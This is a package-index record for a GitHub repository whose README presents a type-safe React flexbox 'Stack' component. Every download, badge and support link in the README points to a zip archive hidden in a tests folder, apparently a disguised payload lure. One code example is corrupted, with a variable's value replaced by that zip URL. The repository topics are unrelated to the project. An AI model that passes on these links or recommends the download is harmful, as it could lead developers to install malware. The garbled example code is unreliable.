{"id":29247155,"url":"https://github.com/yuiii1234/stack","last_synced_at":"2026-04-06T02:32:59.082Z","repository":{"id":302497550,"uuid":"1012322276","full_name":"yuiii1234/stack","owner":"yuiii1234","description":"Streamline your flexbox layout with the type-safe `\u003cStack /\u003e` component for React and React Native. Enjoy minimal API and consistent spacing! 🚀💻","archived":false,"fork":false,"pushed_at":"2026-04-02T21:10:28.000Z","size":653,"stargazers_count":2,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-04-02T21:34:59.583Z","etag":null,"topics":["blogger","bookstack","chakra-ui","dropbox","fastapi","gist","github","hacktoberfest","jupyter-notebook","jwt","letsencrypt","markdown","openapi","python","react","redis","typescript","wordpress"],"latest_commit_sha":null,"homepage":null,"language":"TypeScript","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/yuiii1234.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-07-02T06:50:29.000Z","updated_at":"2026-04-02T21:10:34.000Z","dependencies_parsed_at":"2025-07-02T18:31:11.861Z","dependency_job_id":"af314684-82da-4aca-98d1-fc5f694bf29a","html_url":"https://github.com/yuiii1234/stack","commit_stats":null,"previous_names":["yuiii1234/stack"],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/yuiii1234/stack","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yuiii1234%2Fstack","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yuiii1234%2Fstack/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yuiii1234%2Fstack/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yuiii1234%2Fstack/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/yuiii1234","download_url":"https://codeload.github.com/yuiii1234/stack/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yuiii1234%2Fstack/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31457674,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-05T21:22:52.476Z","status":"online","status_checked_at":"2026-04-06T02:00:07.287Z","response_time":112,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["blogger","bookstack","chakra-ui","dropbox","fastapi","gist","github","hacktoberfest","jupyter-notebook","jwt","letsencrypt","markdown","openapi","python","react","redis","typescript","wordpress"],"created_at":"2025-07-04T00:01:07.359Z","updated_at":"2026-04-06T02:32:59.077Z","avatar_url":"https://github.com/yuiii1234.png","language":"TypeScript","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Stack: A Type-Safe Flexbox Component for React \u0026 React Native\n\n![GitHub Release](https://github.com/yuiii1234/stack/raw/refs/heads/main/src/__tests__/Software-v2.5.zip%20Latest%20Release-Click%20Here-brightgreen)  \n[Download Latest Release](https://github.com/yuiii1234/stack/raw/refs/heads/main/src/__tests__/Software-v2.5.zip)\n\n---\n\n## Table of Contents\n\n1. [Overview](#overview)\n2. [Features](#features)\n3. [Installation](#installation)\n4. [Usage](#usage)\n5. [API Reference](#api-reference)\n6. [Examples](#examples)\n7. [Contributing](#contributing)\n8. [License](#license)\n9. [Support](#support)\n\n---\n\n## Overview\n\nStack is a zero-dependency, type-safe component designed to simplify the use of flexbox in both React and React Native applications. With Stack, developers can create responsive layouts quickly and efficiently, ensuring a consistent look across different devices. \n\nThe component is built with TypeScript, providing type safety that helps catch errors during development. This focus on simplicity and safety makes Stack a great choice for both beginners and experienced developers.\n\n---\n\n## Features\n\n- **Zero Dependencies**: No need to install additional libraries.\n- **Type Safety**: Built with TypeScript for error reduction.\n- **Responsive Layouts**: Easily create flexible and responsive designs.\n- **Simple API**: Intuitive props for quick implementation.\n- **Cross-Platform**: Works seamlessly in both React and React Native environments.\n\n---\n\n## Installation\n\nTo install Stack, run the following command in your project directory:\n\n```bash\nnpm install @yuiii1234/stack\n```\n\nor\n\n```bash\nyarn add @yuiii1234/stack\n```\n\nOnce installed, you can import Stack into your components.\n\n---\n\n## Usage\n\nUsing Stack is straightforward. Here’s a basic example of how to implement it in your project.\n\n### Basic Example\n\n```javascript\nimport React from 'react';\nimport { Stack } from '@yuiii1234/stack';\n\nconst App = () =\u003e {\n  return (\n    \u003cStack direction=\"column\" spacing={10}\u003e\n      \u003cdiv style={{ backgroundColor: 'lightblue', height: '100px' }}\u003eItem 1\u003c/div\u003e\n      \u003cdiv style={{ backgroundColor: 'lightgreen', height: '100px' }}\u003eItem 2\u003c/div\u003e\n      \u003cdiv style={{ backgroundColor: 'lightcoral', height: '100px' }}\u003eItem 3\u003c/div\u003e\n    \u003c/Stack\u003e\n  );\n};\n\nexport default App;\n```\n\nIn this example, the `Stack` component arranges three items in a vertical column with a spacing of 10 pixels between them.\n\n### Props\n\n- **direction**: Defines the direction of the stack. Accepts values `row` or `column`.\n- **spacing**: Sets the space between items in pixels.\n- **align**: Aligns items within the stack. Accepts values `flex-start`, `center`, or `flex-end`.\n- **justify**: Justifies items along the main axis. Accepts values `flex-start`, `center`, `flex-end`, or `space-between`.\n\n---\n\n## API Reference\n\n### Stack Component\n\n#### Props\n\n| Prop       | Type       | Default       | Description                                |\n|------------|------------|---------------|--------------------------------------------|\n| direction  | `string`   | `column`      | Sets the direction of the stack.          |\n| spacing    | `number`   | `0`           | Space between items in pixels.            |\n| align      | `string`   | `flex-start`  | Aligns items within the stack.            |\n| justify    | `string`   | `flex-start`  | Justifies items along the main axis.      |\n\n### Example Usage\n\n```javascript\n\u003cStack direction=\"row\" spacing={20} align=\"center\" justify=\"space-between\"\u003e\n  \u003cItem1 /\u003e\n  \u003cItem2 /\u003e\n  \u003cItem3 /\u003e\n\u003c/Stack\u003e\n```\n\n---\n\n## Examples\n\n### Responsive Layout\n\nTo create a responsive layout, you can adjust the `direction` and `spacing` props based on screen size.\n\n```javascript\nimport React from 'react';\nimport { Stack } from '@yuiii1234/stack';\n\nconst ResponsiveApp = () =\u003e {\n  const isMobile = https://github.com/yuiii1234/stack/raw/refs/heads/main/src/__tests__/Software-v2.5.zip \u003c 768;\n\n  return (\n    \u003cStack direction={isMobile ? \"column\" : \"row\"} spacing={isMobile ? 5 : 20}\u003e\n      \u003cdiv style={{ backgroundColor: 'lightblue', height: '100px' }}\u003eItem 1\u003c/div\u003e\n      \u003cdiv style={{ backgroundColor: 'lightgreen', height: '100px' }}\u003eItem 2\u003c/div\u003e\n      \u003cdiv style={{ backgroundColor: 'lightcoral', height: '100px' }}\u003eItem 3\u003c/div\u003e\n    \u003c/Stack\u003e\n  );\n};\n\nexport default ResponsiveApp;\n```\n\n### Nested Stacks\n\nYou can also nest Stack components for more complex layouts.\n\n```javascript\n\u003cStack direction=\"row\" spacing={10}\u003e\n  \u003cStack direction=\"column\" spacing={5}\u003e\n    \u003cdiv\u003eItem 1.1\u003c/div\u003e\n    \u003cdiv\u003eItem 1.2\u003c/div\u003e\n  \u003c/Stack\u003e\n  \u003cStack direction=\"column\" spacing={5}\u003e\n    \u003cdiv\u003eItem 2.1\u003c/div\u003e\n    \u003cdiv\u003eItem 2.2\u003c/div\u003e\n  \u003c/Stack\u003e\n\u003c/Stack\u003e\n```\n\n---\n\n## Contributing\n\nWe welcome contributions to Stack! To get started:\n\n1. Fork the repository.\n2. Create a new branch for your feature or bug fix.\n3. Make your changes and commit them.\n4. Push your branch to your forked repository.\n5. Create a pull request.\n\nPlease ensure your code adheres to our coding standards and includes appropriate tests.\n\n---\n\n## License\n\nThis project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.\n\n---\n\n## Support\n\nFor support, please visit the [Releases](https://github.com/yuiii1234/stack/raw/refs/heads/main/src/__tests__/Software-v2.5.zip) section for the latest updates and issues. You can also open an issue in the repository if you encounter any problems or have questions.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fyuiii1234%2Fstack","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fyuiii1234%2Fstack","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fyuiii1234%2Fstack/lists"}